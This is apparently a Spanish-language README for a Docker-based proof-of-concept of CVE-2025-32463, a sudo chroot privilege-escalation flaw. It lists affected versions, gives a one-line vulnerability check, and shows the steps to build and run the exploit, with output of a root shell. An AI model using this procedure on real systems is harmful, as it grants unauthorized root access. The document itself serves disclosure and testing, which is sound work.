Fuertemente influenciado/copiado/basado en el formato de un repositorio similar de pr0v3rbs -- https://github.com/pr0v3rbs/CVE-2025-32463i\_chwoot.git Esta es una reimplementación en C para la entrega, ejecución y limpieza rápidas desde una única fuente.

CVE-2025-32463 – sudo chroot ("chwoot") PoC

Este repositorio proporciona un entorno mínimo y reproducible para demostrar la falla de escalada de privilegios CVE‑2025‑32463 en la función chroot de sudo.

• Esta vulnerabilidad fue reportada por Rich Mirch (@0xm1rch en X) de Stratascale.
• Publicación original: Aviso de vulnerabilidad: Elevación de privilegios en sudo chroot
• NVD: CVE-2025-32463 (CVSS 9.3)

Versiones afectadas

Las compilaciones vulnerables de sudo 1.9.14 hasta 1.9.17 (todas las revisiones p) en la mayoría de las distribuciones de Linux se ven afectadas.

Páginas de seguridad

• Ubuntu (CVSS 9.3)
• Redhat (CVSS 7.8)
• SUSE (CVSS 7.8)
• Debian

Contenido

Comprobación rápida de la vulnerabilidad

# Vulnerable sudo
poc ~ $ sudo -R woot woot
sudo: woot: No such file or directory

# Patched sudo
poc ~ $ sudo -R woot woot
[sudo] password for poc:
sudo: you are not permitted to use the -R option with woot

Probar el exploit en el contenedor Docker

# 1 – clone repo
$ git clone https://github.com/vpr-labs/CVE-2025-32463.git
$ cd CVE-2025-32463

# 2 – build and run Docker image (tagged "vpr-chwoot")
$ ./run.sh

# 3 – run exploit in container (runs root command directly)
poc@f722d9182d1f:~$ make && ./vpr-chwoot
woot!
root@f722d9182d1f:/# id
uid=0(root) gid=0(root) groups=0(root),1001(poc)
root@f722d9182d1f:/#

run.sh pasa --privileged y --rm a Docker para que el contenedor se limpie solo al salir.

Limpieza

Elimina la imagen cuando hayas terminado:

docker rmi vpr-chwoot

Referencias

• Nota de vulnerabilidad de Stratascale CRU: Aviso de vulnerabilidad: Elevación de privilegios en sudo chroot